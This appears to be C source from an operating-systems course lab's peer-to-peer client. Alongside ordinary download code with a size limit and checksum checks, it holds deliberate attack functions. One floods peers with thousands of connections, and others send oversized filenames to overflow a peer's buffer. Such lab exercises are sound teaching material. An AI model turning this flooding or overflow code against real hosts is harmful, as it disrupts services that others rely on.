static void denial_of_service(task_t *t) { if (!t || !t->peer_list) { error("No peer can be attacked!\n"); task_free(t); return; }else if(t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; peer_t *current_peer_list = t->peer_list; int i = 0; for(;i<2000;i++) { message("* Attacking peer %s:%d\n", inet_ntoa(current_peer_list->addr), current_peer_list->port); t->peer_fd = open_socket(current_peer_list->addr, current_peer_list->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s for attack\n", strerror(errno)); goto try_again; } osp2p_writef(t->peer_fd, "GET cat1.jpg OSP2P\n"); next: current_peer_list = current_peer_list->next==0 ? t->peer_list : current_peer_list->next; //current_peer_list = current_peer_list->next; } message("finish deploying attack\n"); return; try_again: // recursive call task_pop_peer(t); denial_of_service(t); }
// task_free(t) // Frees all memory and closes all file descriptors relative to 't'. static void task_free(task_t *t) { if (t) { do { task_pop_peer(t); } while (t->peer_list); free(t); } }
static void do_filename_overrun_attack(task_t *overrun_task) { if (!overrun_task || !overrun_task->peer_list) { error("No peer can be attacked!\n"); //task_free(overrun_task); return; }else if(overrun_task->peer_list->addr.s_addr == listen_addr.s_addr && overrun_task->peer_list->port == listen_port) goto try_again; while (overrun_task->peer_list!=0) { message("* Attacking peer %s:%d\n", inet_ntoa(overrun_task->peer_list->addr), overrun_task->peer_list->port); overrun_task->peer_fd = open_socket(overrun_task->peer_list->addr, overrun_task->peer_list->port); if (overrun_task->peer_fd == -1) { error("* Cannot connect to peer: %s for attack\n", strerror(errno)); goto try_again; } osp2p_writef(overrun_task->peer_fd, "GET \ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa OSP2P\n"); task_pop_peer(overrun_task); } message("Attack succeeded\n"); return; try_again: // recursive call task_pop_peer(overrun_task); do_filename_overrun_attack(overrun_task); }
// task_download(t, tracker_task) // Downloads the file specified by the input task 't' into the current // directory. 't' was created by start_download(). // Starts with the first peer on 't's peer list, then tries all peers // until a download is successful. static void task_download(task_t *t, task_t *tracker_task) { int i, ret = -1; size_t messagepos; assert((!t || t->type == TASK_DOWNLOAD) && tracker_task->type == TASK_TRACKER); //Read the checksum of the file from tracker: char *file_digest = 0; osp2p_writef(tracker_task->peer_fd, "MD5SUM %s\n", t->filename); messagepos = read_tracker_response(tracker_task); message("Tracker buf: %s\n", tracker_task->buf); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting checksum of '%s':\n%s", t->filename, &tracker_task->buf[messagepos]); } else{ file_digest = malloc(MD5_TEXT_DIGEST_SIZE+1); memcpy(file_digest, tracker_task->buf, MD5_TEXT_DIGEST_SIZE); file_digest[MD5_TEXT_DIGEST_SIZE] = 0; } // Quit if no peers, and skip this peer if (!t || !t->peer_list) { error("* No peers are willing to serve '%s'\n", (t ? t->filename : "that file")); task_free(t); return; } else if (t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) message("* Saving result to '%s'\n", t->disk_filename); int blockno = 0; int i_peer = 0; peer_t *apeer; while(1){ apeer = get_peer(t->peer_list, i_peer); // Connect to the peer and write the GET command message("* Connecting to %s:%d to download '%s'\n", inet_ntoa(apeer->addr), apeer->port, t->filename); t->peer_fd = open_socket(apeer->addr, apeer->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s\n", strerror(errno)); goto try_again; } if(evil_mode == 0) osp2p_writef(t->peer_fd, "GET %s%d OSP2P\n", t->filename, blockno); else{ //******************************* //Exercise 3: try to overflow a peer's buffer by requesting a file with a long name char evil_name[2*FILENAMESIZ]; int i_name; for(i_name = 0; i_name < 2*FILENAMESIZ - 1; i_name++) evil_name[i_name] = 'a'; evil_name[i_name] = 0; osp2p_writef(t->peer_fd, "GET %s OSP2P\n", evil_name); //********************************** } // Open disk file for the result. // If the filename already exists, save the file in a name like // "foo.txt~1~". However, if there are 50 local files, don't download // at all. /* for (i = 0; i < 50; i++) { if (i == 0) strcpy(t->disk_filename, t->filename); else sprintf(t->disk_filename, "%s~%d~", t->filename, i); t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) { message("* Saving result to '%s'\n", t->disk_filename); break; } } if (t->disk_fd == -1) { error("* Too many local files like '%s' exist already.\n\ * Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename); task_free(t); return; }*/ lseek(t->disk_fd, BLKSIZE, SEEK_CUR); // Read the file into the task buffer from the peer, // and write it from the task buffer onto disk. while (1) { int ret = read_to_taskbuf(t->peer_fd, t); if (ret == TBUF_ERROR) { error("* Peer read error"); goto try_again; } else if (ret == TBUF_END && t->head == t->tail) /* End of file */ break; ret = write_from_taskbuf(t->disk_fd, t); if (ret == TBUF_ERROR) { error("* Disk write error"); goto try_again; } //********************************* //Exercise 2: prevent from downloading a file that is too large if(t->total_written > MAX_FILE_SIZE){ error("* Error: file too big for download\n"); goto try_again; } //********************************** } if(ret == TBUF_END && t->head == t->tail) break; //Compare the checksum of file on disk to checksum reported by tracker: if(file_digest){ char *download_digest = create_digest(t->disk_filename); message("* Tracker's checksum for file '%s' is: %s\n", t->filename, file_digest); message("* Checksum of the downloaded file is: %s\n", download_digest); if(strcmp(file_digest, download_digest) != 0){ error("* Downloaded a corrupted file!!! Try download again...\n"); } } blockno++; i_peer++; } // Empty files are usually a symptom of some error. if (t->total_written > 0) { message("* Downloaded '%s' was %lu bytes long\n", t->disk_filename, (unsigned long) t->total_written); // Inform the tracker that we now have the file, // and can serve it to others! (But ignore tracker errors.) if (strcmp(t->filename, t->disk_filename) == 0) { osp2p_writef(tracker_task->peer_fd, "HAVE %s\n", t->filename); (void) read_tracker_response(tracker_task); } task_free(t); return; } error("* Download was empty, trying next peer\n"); try_again: if (t->disk_filename[0]) unlink(t->disk_filename); // recursive call task_pop_peer(t); task_download(t, tracker_task); }